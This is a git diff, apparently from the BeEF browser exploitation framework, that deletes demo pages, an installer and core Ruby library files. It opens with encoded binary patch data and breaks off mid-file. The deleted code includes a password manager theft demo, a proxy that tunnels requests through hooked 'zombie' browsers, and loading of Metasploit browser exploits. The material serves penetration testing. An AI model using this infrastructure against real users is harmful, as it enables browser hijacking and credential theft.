z3wogI1Qxnt)XPYmW;#gy_Y8GcR@KZ6!f`=^_xkG z-(CN64gV)G>7j<C zg&&uf)@Pv|!46ycwOUG+br^2%pddG{S0PpFEbJTb{q607)!Lw zY%ZN*2V=Ejtq-aUfivdTy{fTkoS87Bfl>b18@TrF|843SH+TUB@6_4jbR+3C@Qg0B zGZ8cVG3l0NHUBfz-1sO66p!6(^V$f*wkkBUb*#?*Q87xXkNv zrS;kZPEB5>iGo2^i3ZB{ByNE5YgCcUL21`)>yT@Y&#OpwHy4x=b)u|Bma3_f9{B2( z@Qv@PCx#5Uy_$~K6#C=lw8Ca$cN}KbO1c}VxH3-+sL8Y+me>wXjgdiRP}bS;U0g{b zRz*?p$|HC(&FwEpeR}7SaYpgd+Eu2ppi6ooSOW@@_JCInqX_P;-<>n}XG|Fe$=}cp`;Aw~S=b)r*qw^ryXa0GKCJ9&3%G zjw$uYul^7>Dzbi7>YC;Bd(C_55;7H4#x03BL|Z4^;A^Hb`N%U;trxosmLT`&)D=|* z&mqQ#G~;N;M|Zy!*_%Xx2TN~52Y4D@_Ns0_Sx?$kAtqyTkIQ-{GoK%tY|-R~ z6hL8Pi7BeTDteR#)l@s$C>uR^Fo}NZJxm|<|7PM%`%%zsB9z3VlUR24xJK!;$^bhZ zC+4$gqzjU(l_;`o)^Scmjvm_%lHN|~nNoW{?)LDLjAnync|IuWbiAcv#_WD2!jE6# zK7yf`X5aJn!Ie8N;wP))p;lz;UpQHCg<_rI%b^e~_K{?}IAMg_Uu*vycX&bHf*nG1 ztN(`4qwbzx#wIPlE~%C99UQ}obj--yZKOnWgxQ)Wd~Jk;Iq-0#-;9GdAB#H2E~ol`9j$`<2AE zkdRTLUnn3kW-U8+()2KYt4BPF{eH|p6chz6yDoghPOOdxs&IKz@pYE`N^To>O!v!P zZNm*~LpIhz+oBZ$p8fFC^ckGaVMRWG|f%uMNaB>{i*hB+K~>y!IT`%^LA(U_c{SFrCU6h zE%^>(*2wGdwb%N=vyhjMqT6PtnyNEEp7OWvDcua@yZp zFn8wM!5l$er{GIYt+{BqU>&A)$@mxP;Z0%LZy7ws8M*K+ZZ>D`awDzPP%lMWX-2d$ zh11p3{-lRd!zz&dclw4V{fvOql(m$f;^@V22O`5ESSU@B4(2bhPYX*XT_dX7y+l7i zDt?-yW9~LqXJ|W zR(uS#htynDKb<70@&-Y1at>=?9S=Q7t(S1>VAp|H_)ZZ~y?kb2%WjrR>fO70@RHPB zyVcE>#P-tqBy3UXTpK@=lO{dNh7x?h<8w8+U+&fZv5{7dDB)v*{vVj_z=!-J`pu&; zjC$zYK`>7iA>QnXhm@!@^H-=?ZnuPU{n5`4K`$P$3$|5WN_l){9jRDB9$joZYwiPD zl;OY5^QVv}J1Yqfbjr;X^dcXw((NEZ*YP5c->gwoQh7dTO=jQgo||nss6HCg!ydH8 zGt<5`e>>?dw$?05y2GxJ-M)$I7Ufc{vcj@l>6kxQKVh&U?Ek+peDo~kbd;d6`&@OE zI*O}?Yffu(izl~{g3N1)Zgg-~H zyDn%J;%heX?o}X*Gs>asTy7lmeXb%ZL!sW%3`BF1Nd{6m%@mr%YE=@H5j!e ke;}lM>7~!Y)p3|hpvJ7~(<+Q7&HJ|)@Bc5)(C6j<587_RQ2+n{ diff --git a/demos/passwd_manager_theft.html b/demos/passwd_manager_theft.html deleted file mode 100644 index 4a2d70c50..000000000 --- a/demos/passwd_manager_theft.html +++ /dev/null @@ -1,27 +0,0 @@ - - - BeEF Password Manager Theft Demo - - - -

Password Manager Theft Demo

- -

- Instructions:
-
- 1. Write a fake username and password in the form below
- 2. After having submitted the form, make sure you tell firefox that you want to save
- 3. Exploit your hooked browser with the password manager theft command module. -

- -

-

- Username:

- Password:
- -
-

- - - - \ No newline at end of file diff --git a/demos/secret_page.html b/demos/secret_page.html deleted file mode 100644 index cf295841d..000000000 --- a/demos/secret_page.html +++ /dev/null @@ -1,13 +0,0 @@ - - - Secret Page - - -

Secret page

- -

- This page is not hooked by beef. However you should still be capable of accessing it - using the Requester. -

- - \ No newline at end of file diff --git a/install.rb b/install.rb deleted file mode 100644 index 2c23a9859..000000000 --- a/install.rb +++ /dev/null @@ -1,112 +0,0 @@ -require 'rubygems' - -puts "\nWelcome to the BEeF installer!" - -puts "\nPlease make sure you have installed SQLite before proceeding. For instructions on how to do this please see the INSTALL file" - -# array of required gems - add to as needed (specify a version if needed eg "gem_name, =x.x.x") -$gems_required = ["ansi", "dm-core", "json", "data_objects", "do_sqlite3", "sqlite3", "dm-sqlite-adapter", - "parseconfig", "erubis", "dm-migrations"] - -# array of missing non-version specific gems installed -$gems_missing = Array.new - -# array of missing version specific gems installed -$gems_missing_version = Array.new - -# check all required gems (dependencies) are present -def dep_check - $gems_required.each do |current_gem| - begin - if current_gem.include? "," - tokens = current_gem.split(",") - gem tokens[0], tokens[1] - else - gem current_gem - end - rescue Gem::LoadError - if current_gem.include? "," - $gems_missing_version << current_gem - else - $gems_missing << current_gem - end - end - end - if $gems_missing.length == 0 && $gems_missing_version.length == 0 - return true - else - return false - end -end - -# display install options -def display_opts - puts "\n1) Install all required gems automatically\n" + "2) List required gems and exit so they can be installed manually\n" + "3) Exit installer\n\n" - option = gets - return option -end - -# generate install command for missing gems -def install_command - if RUBY_PLATFORM =~ /linux/ or RUBY_PLATFORM =~ /darwin/ - cmd = "sudo gem install" - $gems_missing.each do |current_gem| - cmd = cmd + " #{current_gem}" - end - if $gems_missing_version.length != 0 - $gems_missing_version.each do |current_gem| - if cmd == "sudo gem install" - cmd = cmd + " #{current_gem}" - else - cmd = cmd + " && sudo gem install #{current_gem}" - end - end - end - else - cmd = "gem install" - $gems_missing.each do |current_gem| - cmd = cmd + " #{current_gem}" - end - if $gems_missing_version.length != 0 - $gems_missing_version.each do |current_gem| - if cmd == "gem install" - cmd = cmd + " #{current_gem}" - else - cmd = cmd + " & gem install #{current_gem}" - end - end - end - end - cmd = cmd.delete "," "'" - cmd = cmd.gsub("=", "-v") - return cmd -end - -# install missing gems -def install_gems - puts install_command + "\n" - system(install_command) -end - -dep_met = dep_check() - -if dep_met == false - puts "\nSome gems required by BEeF are not present on your system please select an option to continue:" - option = display_opts - while option != "1\n" and option != "2\n" and option != "3\n" - puts "\nInvalid option entered, please select a valid option to continue:" - option = display_opts - end - if option == "1\n" - install_gems - elsif option == "2\n" - cmd = install_command - puts "\nPlease run the following command to update and install all required gems:\n\n" + cmd + "\n\n" - elsif option == "3\n" - puts "\nExiting...\n\n" - end -else - puts "\nAll required gems are present - please run 'ruby beef.rb' to start using BEeF\n\n" - puts "\nThe Default username/password are beef/beef\n\n" - puts "\nAll feedback welcome - http://beef.googlecode.com/\n\n" -end \ No newline at end of file diff --git a/lib/configuration.rb b/lib/configuration.rb deleted file mode 100644 index 18ef92c4d..000000000 --- a/lib/configuration.rb +++ /dev/null @@ -1,20 +0,0 @@ -module BeEF - - # - # - # - class Configuration < ParseConfig - - include Singleton - - def initialize(configuration_file="#{$root_dir}/config.ini") - super(configuration_file) - end - - def get(key) - get_value(key) - end - - end - -end \ No newline at end of file diff --git a/lib/console/banner.rb b/lib/console/banner.rb deleted file mode 100644 index 388f13b58..000000000 --- a/lib/console/banner.rb +++ /dev/null @@ -1,52 +0,0 @@ -module BeEF -module Console - - module Banner - # - # Generates banner - # - def self.generate - - # set the pre-string for output - detail_tab = ' ' * 1 + '--[ ' - - # get the configuration information - @configuration = BeEF::Configuration.instance - version = BeEF::Configuration.instance.get('beef_version') - beef_host = @configuration.get("http_public") || @configuration.get("http_host") - - # create an array of the interfaces the framework is listening on - if beef_host == '0.0.0.0' # the framework will listen on all interfaces - interfaces = Socket.getaddrinfo(Socket.gethostname, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME).map { |x| x[3] } - interfaces = interfaces << "127.0.0.1" - interfaces.uniq! - else # the framework will listen on only one interface - interfaces = [beef_host] - end - - # output the banner to the console - puts - puts " -=[ BeEF v#{version} ]=-\n\n" - puts detail_tab + "Modules: #{BeEF::Models::CommandModule.all.length}" # output the number of modules available - interfaces.map do |host| # display the important URLs on each interface from the interfaces array - puts detail_tab - puts detail_tab + "Hook URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("hook_file")}" - puts detail_tab + "UI URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_panel_path")}" - puts detail_tab + "Demo URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_demo_path")}" - end - - # if the proxy is enabled output the address - if (@configuration.get('http_proxy_enable').to_i > 0) - puts - puts detail_tab + "HTTP Proxy: http://#{@configuration.get("http_proxy_bind_address")}:#{@configuration.get("http_proxy_bind_port")}" - end - - puts - puts "Ensure you are running the latest framework version. Run 'svn update' to update" - puts - - end - end - -end -end diff --git a/lib/console/commandline.rb b/lib/console/commandline.rb deleted file mode 100644 index a8bccfce9..000000000 --- a/lib/console/commandline.rb +++ /dev/null @@ -1,37 +0,0 @@ -module BeEF -module Console - - module CommandLine - - @options = Hash.new - @options[:verbose] = false - @options[:resetdb] = false - - @already_parsed = false - - # - # Parses the command line arguments of the console. - # It also populates the 'options' hash. - # - def self.parse - return @options if @already_parsed - - optparse = OptionParser.new do |opts| - opts.on('-x', '--reset', 'Reset the database') do - @options[:resetdb] = true - end - - opts.on('-v', '--verbose', 'Display debug information') do - @options[:verbose] = true - end - end - - optparse.parse! - @already_parsed = true - @options - end - - end - -end -end \ No newline at end of file diff --git a/lib/constants.rb b/lib/constants.rb deleted file mode 100644 index 575541e7b..000000000 --- a/lib/constants.rb +++ /dev/null @@ -1,145 +0,0 @@ -module BeEF - -# -# This module list all the constants used by the framework. -# -module Constants - - module CommandModule - - MODULE_TARGET_VERIFIED_NOT_WORKING = 0 - MODULE_TARGET_VERIFIED_WORKING = 1 - MODULE_TARGET_VERIFIED_USER_NOTIFY = 2 - MODULE_TARGET_VERIFIED_UNKNOWN = 3 - - MODULE_TARGET_VERIFIED_NOT_WORKING_IMG = 'red.png' - MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG = 'orange.png' - MODULE_TARGET_VERIFIED_WORKING_IMG = 'green.png' - MODULE_TARGET_VERIFIED_UNKNOWN_IMG = 'grey.png' - - MODULE_TARGET_IMG_PATH = 'public/images/icons/' - - end - - module Browsers - - FF = 'FF' # Firefox - M = 'M' # Mozila - IE = 'IE' # Internet Explorer - S = 'S' # Safari - K = 'K' # Konqueror - C = 'C' # Chrome - O = 'O' # Opera - ALL = 'ALL' # ALL - UNKNOWN = 'UN' # Unknown - - FRIENDLY_FF_NAME = 'Firefox' - FRIENDLY_M_NAME = 'Mozila' - FRIENDLY_IE_NAME = 'Internet Explorer' - FRIENDLY_S_NAME = 'Safari' - FRIENDLY_K_NAME = 'Konqueror' - FRIENDLY_C_NAME = 'Chrome' - FRIENDLY_O_NAME = 'Opera' - FRIENDLY_UN_NAME = "UNKNOWN" - - def self.friendly_name(browser_name) - - case browser_name - when FF; return FRIENDLY_FF_NAME - when M; return FRIENDLY_M_NAME - when IE; return FRIENDLY_IE_NAME - when S; return FRIENDLY_S_NAME - when K; return FRIENDLY_K_NAME - when C; return FRIENDLY_C_NAME - when O; return FRIENDLY_O_NAME - when UNKNOWN; return FRIENDLY_UN_NAME - end - - end - - def self.match_browser(browserstring) - matches = [] - browserstring.split(" ").each do |chunk| - case chunk - when /Firefox/ , /FF/ - matches << FF - when /Mozilla/ - matches << M - when /Internet Explorer/, /IE/ - matches << IE - when /Safari/ - matches << S - when /Konqueror/ - matches << K - when /Chrome/ - matches << C - when /Opera/ - matches << O - end - end - matches.uniq - end - - end - - # The User Agent strings for browser detection - module Agents - - AGENT_UNKNOWN_IMG = 'unknown.png' - AGENT_FIREFOX_UA_STR = 'Firefox' - AGENT_FIREFOX_IMG = 'firefox.png' - AGENT_MOZILLA_UA_STR = 'Mozilla' - AGENT_MOZILLA_IMG = 'mozilla.png' - AGENT_IE_UA_STR = 'MSIE' - AGENT_IE_IMG = 'msie.png' - AGENT_SAFARI_UA_STR = 'Safari' - AGENT_SAFARI_IMG = 'safari.png' - AGENT_KONQ_UA_STR = 'Konqueror' - AGENT_KONQ_IMG = 'konqueror.png' - AGENT_CHROME_UA_STR = 'Chrome' - AGENT_CHROME_IMG = 'chrome.png' - AGENT_OPERA_UA_STR = 'Opera' - AGENT_OPERA_IMG = 'opera.ico' - - end - - # The OS'es strings for os detection. - module Os - - OS_UNKNOWN_IMG = 'unknown.png' - OS_WINDOWS_UA_STR = 'Windows' - OS_WINDOWS_IMG = 'win.png' - OS_LINUX_UA_STR = 'Linux' - OS_LINUX_IMG = 'linux.png' - OS_MAC_UA_STR = 'Mac' - OS_MAC_IMG = 'mac.png' - OS_IPHONE_UA_STR = 'iPhone' - OS_IPHONE_IMG = 'iphone.png' - - def self.match_os(name) - case name.downcase - when /win/ - OS_WINDOWS_UA_STR - when /lin/ - OS_LINUX_UA_STR - when /os x/, /osx/, /mac/ - OS_MAC_UA_STR - when /iphone/ - OS_IPHONE_UA_STR - else - 'ALL' - end - end - - end - - # The distributed engine codes - module DistributedEngine - - REQUESTER = 1 - PORTSCANNER = 2 - - end - -end -end diff --git a/lib/crypto.rb b/lib/crypto.rb deleted file mode 100644 index 91cb2ade9..000000000 --- a/lib/crypto.rb +++ /dev/null @@ -1,26 +0,0 @@ -module BeEF - -# -# This module provides crypto functionality -# -module Crypto - - # - # Generate a secure random token - # - def self.secure_token(len = nil) - - # get default length from config - config = BeEF::Configuration.instance - token_length = len || config.get('crypto_default_value_length').to_i - - raise WEBrick::HTTPStatus::BadRequest, "Token length is zero or less" if (1 > token_length) - - # return random hex string - OpenSSL::Random.random_bytes(token_length).unpack("H*")[0] - - end - -end - -end diff --git a/lib/filter/base.rb b/lib/filter/base.rb deleted file mode 100644 index 633f566af..000000000 --- a/lib/filter/base.rb +++ /dev/null @@ -1,95 +0,0 @@ -module BeEF - - module Filter - - # check if the string is not empty and not nil - def self.is_non_empty_string?(str) - return false if str.nil? - return false if not str.is_a? String - return false if str.empty? - true - end - - # check if only the characters in 'chars' are in 'str' - def self.only?(chars, str) - regex = Regexp.new('[^' + chars + ']') - regex.match(str).nil? - end - - # check if one or more characters in 'chars' are in 'str' - def self.exists?(chars, str) - regex = Regexp.new(chars) - not regex.match(str).nil? - end - - # check for null char - def self.has_null? (str) - return false if not is_non_empty_string?(str) - exists?('\x00', str) - end - - # check for non-printalbe char - def self.has_non_printable_char?(str) - return false if not is_non_empty_string?(str) - not only?('[:print:]', str) - end - - # check if num chars only - def self.nums_only?(str) - return false if not is_non_empty_string?(str) - only?('0-9', str) - end - - # check if valid float - def self.is_valid_float?(str) - return false if not is_non_empty_string?(str) - return false if not only?('0-9\.', str) - not (str =~ /^[\d]+\.[\d]+$/).nil? - end - - # check if hex chars only - def self.hexs_only?(str) - return false if not is_non_empty_string?(str) - only?('0123456789ABCDEFabcdef', str) - end - - # check if first char is a num - def self.first_char_is_num?(str) - return false if not is_non_empty_string?(str) - not (str =~ /^\d.*/).nil? - end - - # check for space chars: \t\n\r\f - def self.has_whitespace_char?(str) - return false if not is_non_empty_string?(str) - exists?('\s', str) - end - - # check for non word chars: a-zA-Z0-9 - def self.alphanums_only?(str) - return false if not is_non_empty_string?(str) - only?("a-zA-Z0-9", str) - end - - # check if valid ip address string - def self.is_valid_ip?(ip) - return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/ - false - end - - # check for valid browser details chars - def self.has_valid_browser_details_chars?(str) - return false if not is_non_empty_string?(str) - not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? # \302\256 is the (r) character - end - - # check for valid base details chars - # this is for basic flitering where possible all specific filters must be implemented - def self.has_valid_base_chars?(str) - return false if not is_non_empty_string?(str) - (str =~ /[^\302\256[:print:]]/).nil? # \302\256 is the (r) character - end - - end - -end diff --git a/lib/filter/command.rb b/lib/filter/command.rb deleted file mode 100644 index 74bea6253..000000000 --- a/lib/filter/command.rb +++ /dev/null @@ -1,59 +0,0 @@ -module BeEF - - module Filter - - # check if the string is a valid path from a HTTP request - def self.is_valid_path_info?(str) - return false if str.nil? - return false if not str.is_a? String - return false if has_non_printable_char?(str) - true - end - - # check if the command id valid - def self.is_valid_command_id?(str) - return false if not is_non_empty_string?(str) - return false if not nums_only?(str) - true - end - - # check if the session id valid - def self.is_valid_hook_session_id?(str) - return false if not is_non_empty_string?(str) - return false if not has_valid_key_chars?(str) - true - end - - # check if valid command module datastore key - def self.is_valid_command_module_datastore_key?(str) - return false if not is_non_empty_string?(str) - return false if not has_valid_key_chars?(str) - true - end - - # check if valid command module datastore value - def self.is_valid_command_module_datastore_param?(str) - return false if has_null?(str) - return false if not has_valid_base_chars?(str) - true - end - - # check for word and some punc chars - def self.has_valid_key_chars?(str) - return false if not is_non_empty_string?(str) - return false if not has_valid_base_chars?(str) - true - end - - # check for word and underscore chars - def self.has_valid_param_chars?(str) - return false if str.nil? - return false if not str.is_a? String - return false if str.empty? - return false if not (str =~ /[^\w_]/).nil? - true - end - - end - -end diff --git a/lib/filter/init.rb b/lib/filter/init.rb deleted file mode 100644 index 909549d9a..000000000 --- a/lib/filter/init.rb +++ /dev/null @@ -1,67 +0,0 @@ -module BeEF - - module Filter - - # verify the page title string is valid - def self.is_valid_pagetitle?(str) - return false if not str.is_a? String - return false if has_non_printable_char?(str) - return false if str.length > 50 - true - end - - # check the browser type value - for example, 'FF' - def self.is_valid_browsername?(str) - return false if not is_non_empty_string?(str) - return false if str.length > 2 - return false if has_non_printable_char?(str) - true - end - - # check the os name value - for example, 'Windows XP' - def self.is_valid_osname?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length < 2 - true - end - - # verify the browser version string is valid - def self.is_valid_browserversion?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return true if str.eql? "UNKNOWN" - return false if not nums_only?(str) and not is_valid_float?(str) - return false if str.length > 10 - true - end - - # verify the browser/UA string is valid - def self.is_valid_browserstring?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end - - # verify the hostname string is valid - def self.is_valid_hostname?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 255 - return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil? - return false if not (str =~ /\.\./).nil? - return false if not (str =~ /\-\-/).nil? - true - end - - # verify the browser_plugins string is valid - def self.is_valid_browser_plugins?(str) - return false if not is_non_empty_string?(str) - return false if str.length > 400 - return (str =~ /[^\w\d\s()-.,;_!\302\256]/).nil? # \302\256 is the (r) character - end - - end - -end diff --git a/lib/filter/msf.rb b/lib/filter/msf.rb deleted file mode 100644 index b9cefdcb5..000000000 --- a/lib/filter/msf.rb +++ /dev/null @@ -1,12 +0,0 @@ -module BeEF - - module Filter - - def self.is_valid_msf_payload_name?(name) - return false if only?("a-z_/", name) - true - end - - end - -end \ No newline at end of file diff --git a/lib/filter/requester.rb b/lib/filter/requester.rb deleted file mode 100644 index 094c0fe64..000000000 --- a/lib/filter/requester.rb +++ /dev/null @@ -1,27 +0,0 @@ -module BeEF - - module Filter - - def self.is_valid_verb?(verb) - return true if verb.eql? 'GET' or verb.eql? 'POST' - false - end - - def self.is_valid_url?(uri) - return true if uri.eql? WEBrick::HTTPUtils.normalize_path(uri) - false - end - - def self.is_valid_http_version?(version) - return true if version.eql? "HTTP/1.1" or trailer.eql? "HTTP/1.0" - false - end - - def self.is_valid_host_str?(host_str) - return true if host_str.eql? "Host:" - false - end - - end - -end diff --git a/lib/httpproxybase.rb b/lib/httpproxybase.rb deleted file mode 100644 index d347221f3..000000000 --- a/lib/httpproxybase.rb +++ /dev/null @@ -1,24 +0,0 @@ -require 'webrick/httpproxy' -require 'webrick/httputils' - -module BeEF - class HttpProxyBase < WEBrick::HTTPProxyServer - - # call BeEF::HttpProxyZombie.instance - include Singleton - - attr_reader :config - - def initialize - @configuration = BeEF::Configuration.instance - @config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR) - @config[:ServerType] = Thread - super(@config) - end - - # remove beef hook if it exists - def remove_hook(res) - res.body.gsub!(%r'', '') - end - end -end \ No newline at end of file diff --git a/lib/httpproxyzombie.rb b/lib/httpproxyzombie.rb deleted file mode 100644 index 4742ab4ac..000000000 --- a/lib/httpproxyzombie.rb +++ /dev/null @@ -1,42 +0,0 @@ -require 'webrick/httpproxy' -require 'webrick/httputils' - -module BeEF - class HttpProxyZombie < HttpProxyBase - - attr_accessor :proxy_zombie_id - - def initialize - @configuration = BeEF::Configuration.instance - - @config = {} - @config[:BindAddress] = @configuration.get('http_proxy_bind_address') - @config[:Port] = @configuration.get('http_proxy_bind_port') - @config[:ServerName] = "BeEF " + @configuration.get('beef_version') - @config[:ServerSoftware] = "BeEF " + @configuration.get('beef_version') - - proxy_zombie_id = nil - - super - end - - def service(req, res) - - # TODO implement which HB to target - if false - return if proxy_zombie_id.nil? # check if zombie is set - zombie = BeEF::Models::Zombie.get(proxy_zombie_id) - return if not zombie # check if zombie is registered with beef - else - proxy_zombie_id = 1 - end - - # blocking request - res = HttpProxyZombieHandler::forward_request(proxy_zombie_id, req, res) - - # remove beef hook if it exists - remove_hook(res) - - end - end -end \ No newline at end of file diff --git a/lib/httpproxyzombiehandler.rb b/lib/httpproxyzombiehandler.rb deleted file mode 100644 index 7e5f47802..000000000 --- a/lib/httpproxyzombiehandler.rb +++ /dev/null @@ -1,58 +0,0 @@ -require 'webrick/httprequest' -require 'webrick/httpresponse' - -module BeEF - - module HttpProxyZombieHandler - - # Variable representing the Http DB model. - H = BeEF::Models::Http - - # This function will forward requests to the zombie and - # the browser will perform the request. Then the results - # will be sent back to use - def forward_request(zombie_id, req, res) - - # Generate a id for the req in the http table and check it doesnt already exist - http_id = rand(10000) - http_db = H.first(:id => http_id) || nil - - while !http_db.nil? - http_id = rand(10000) - http_db = H.first(:id => http_id) || nil - end - - # some debug info - puts "[PROXY] Forwarding request #" + http_id.to_s + " from zombie [" + zombie_id.to_s + "]" + " to host [" + req.host.to_s + "]" - - # Saves the new HTTP request to the db for processing by HB - http = H.new( - :id => http_id, - :request => req, - :method => req.request_method.to_s, - :domain => req.host.to_s, - :path => req.path.to_s, - :date => Time.now, - :zombie_id => zombie_id - ) - http.save - - # Polls the DB for the response and then sets it when present - - http_db = H.first(:id => http_id) - - while !http_db.has_ran - sleep 1 - http_db = H.first(:id => http_id) - end - - res.body = http_db.response - - res - end - - module_function :forward_request - - end - -end \ No newline at end of file diff --git a/lib/loader.rb b/lib/loader.rb deleted file mode 100644 index 54cda048f..000000000 --- a/lib/loader.rb +++ /dev/null @@ -1,86 +0,0 @@ -require 'rubygems' -require 'webrick' -require 'webrick/httpproxy' -require 'dm-core' -require 'dm-migrations' -require 'json' -require 'ansi' -require 'optparse' -require 'cgi' -require 'parseconfig' -require 'singleton' -require 'ipaddr' -require 'base64' -require 'xmlrpc/client' -require 'erubis' - -require 'lib/patches/webrick/httprequest' -require 'lib/patches/webrick/cookie' -require 'lib/patches/webrick/genericserver' -require 'lib/patches/webrick/httpresponse' -require 'lib/patches/webrick/httpservlet/filehandler.rb' - -require 'lib/constants' -require 'lib/filter/base.rb' -require 'lib/filter/command.rb' -require 'lib/filter/requester.rb' -require 'lib/filter/init.rb' - -require 'lib/model/user' -require 'lib/model/commandmodule' -require 'lib/model/zombie' -require 'lib/model/log' -require 'lib/model/command' -require 'lib/model/result' -require 'lib/model/autoloading' -require 'lib/model/plugin' -require 'lib/model/http' -require 'lib/model/browserdetails' -require 'lib/model/distributedenginerules' -require 'lib/model/dynamiccommandinfo' -require 'lib/model/dynamicpayloadinfo.rb' -require 'lib/model/dynamicpayloads.rb' -require 'lib/model/optioncache.rb' - - -require 'lib/crypto' - -require 'lib/configuration' - -require 'lib/console/banner' -require 'lib/console/commandline' -require 'lib/migration' - -require 'lib/server/modules/common' -require 'lib/server/modules/requester' - -require 'lib/server/httphandler' -require 'lib/server/httpcontroller' - -require 'lib/server/httphookserver' -require 'lib/httpproxybase' -require 'lib/httpproxyzombie' -require 'lib/httpproxyzombiehandler' - -require 'lib/server/assethandler' -require 'lib/server/filehandler' -require 'lib/server/zombiehandler' -require 'lib/server/commandhandler' -require 'lib/server/publichandler' -require 'lib/server/requesterhandler' -require 'lib/server/inithandler' -require 'lib/server/eventhandler' -require 'lib/server/dynamichandler' - -require 'lib/logger' -require 'lib/modules/command' - -require 'lib/modules/msfclient' -require 'lib/modules/msfcommand' - -require 'openssl' - -# load command modules -Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command| - require command -end diff --git a/lib/logger.rb b/lib/logger.rb deleted file mode 100644 index 412e567b6..000000000 --- a/lib/logger.rb +++ /dev/null @@ -1,24 +0,0 @@ -module BeEF - -# -# This class takes care of logging events in the db. -# -class Logger - - include Singleton - - def initialize - @logs = BeEF::Models::Log - end - - # Registers a new event in the logs - def register(from, event, zombie = 0) - @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :zombie_id => zombie).save - end - - private - @logs - -end - -end diff --git a/lib/migration.rb b/lib/migration.rb deleted file mode 100644 index 60d7440bf..000000000 --- a/lib/migration.rb +++ /dev/null @@ -1,123 +0,0 @@ -module BeEF - -# -# This class migrates and updates values in the database each time you restart BeEF. -# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework -# and then restart BeEF. That class will take care of installing automatically the new command module in the db. -# -class Migration - - include Singleton - - # - # Updates the database. - # - def update_db! - update_commands! - update_plugins! - end - - # - # Checks for new command modules and updates the database. - # - def update_commands! - db_commands = [], folders = '' - - BeEF::Models::CommandModule.all.each {|db_command| - db_commands.push(db_command.path) - } - - Dir.foreach("#{$root_dir}/modules/commands/") do |folder| - folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/commands/#{folder}" - end - - regex = /\/modules\/commands\/(#{folders})\/(.*).rb/i - - Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command| - if (command = command.match(regex)[0]) - BeEF::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command - end - end - - msf = BeEF::MsfClient.instance - if(msf.is_enabled && msf.login()) - Thread.new() { - sploits = msf.browser_exploits() - sploits.each do |sploit| - if not BeEF::Models::CommandModule.first(:name => sploit) - mod = BeEF::Models::CommandModule.new(:path => "Dynamic/Msf", :name => sploit) - mod.save - if mod.dynamic_command_info == nil - msfi = msf.get_exploit_info(sploit) - - st = sploit.split('/').first - targets = [] - - os_name = BeEF::Constants::Os::match_os(st) - - browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json) - - targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0 - - browsers.each do |bn| - targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1} - end - - targets << {'os_name' => "ALL", 'verified_status' => 0 } - - - msfci = BeEF::Models::DynamicCommandInfo.new( - :name => msfi['name'], - :description => msfi['description'], - :targets => targets.to_json) - - mod.dynamic_command_info = msfci - mod.save - end - end - end - - payloads = msf.payloads() - payloads.each do |payload| - if not BeEF::Models::DynamicPayloads.first( :name => payload) - pl = BeEF::Models::DynamicPayloads.new( :name => payload) - pl.save - opts = msf.payload_options(payload) - opts.keys.each do |opt| - next if opts[opt]['advanced'] or opts[opt]['evasion'] - pl.dynamic_payload_info.new(:name => opt, :description => opts[opt]['desc'], :required => opts[opt]['required'], :value => opts[opt]['default']) - end - pl.save - - end - end - } - end - - end - - # - # Checks for new plugins and updates the database. - # - def update_plugins! - db_plugins = [], folders = '' - - BeEF::Models::Plugin.all.each {|db_plugin| db_plugins.push(db_plugin.path)} - - Dir.foreach("#{$root_dir}/modules/plugins/") do |folder| - folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/plugins/#{folder}" - end - - regex = /\/modules\/plugins\/(#{folders})\/(\w+)\/(\w+).rb/i - - Dir["#{$root_dir}/modules/plugins/**/*.rb"].each do |plugin| - if (plugin = plugin.match(regex)[0]) - BeEF::Models::Plugin.new(:path => plugin).save if not db_plugins.include? plugin - end - end - end - - -end - -end diff --git a/lib/model/autoloading.rb b/lib/model/autoloading.rb deleted file mode 100644 index 3b89a0d40..000000000 --- a/lib/model/autoloading.rb +++ /dev/null @@ -1,18 +0,0 @@ -module BeEF -module Models - -class Autoloading - - include DataMapper::Resource - - storage_names[:default] = 'autoloading' - - property :id, Serial - property :in_use, Boolean - - belongs_to :command - -end - -end -end \ No newline at end of file diff --git a/lib/model/browserdetails.rb b/lib/model/browserdetails.rb deleted file mode 100644 index 8ee8b00eb..000000000 --- a/lib/model/browserdetails.rb +++ /dev/null @@ -1,95 +0,0 @@ -module BeEF -module Models - -class BrowserDetails - - include DataMapper::Resource - - attr_reader :guard - - # - # Class constructor - # - def initialize(config) - # we set up a mutex - super(config) - @@guard = Mutex.new - end - - storage_names[:default] = 'browser_details' - - property :session_id, Text, :key => true - property :detail_key, Text, :lazy => false, :key => true - property :detail_value, Text, :lazy => false - - # - # Returns the requested value from the data store - # - def self.get(session_id, key) - browserdetail = first(:session_id => session_id, :detail_key => key) - - return nil if browserdetail.nil? - return nil if browserdetail.detail_value.nil? - return browserdetail.detail_value - end - - # - # Stores a key->value pair into the data store - # - def self.set(session_id, detail_key, detail_value) - # if the details already exist don't re-add them - return nil if not get(session_id, detail_key).nil? - - # store the returned browser details - browserdetails = BeEF::Models::BrowserDetails.new( - :session_id => session_id, - :detail_key => detail_key, - :detail_value => detail_value) - - 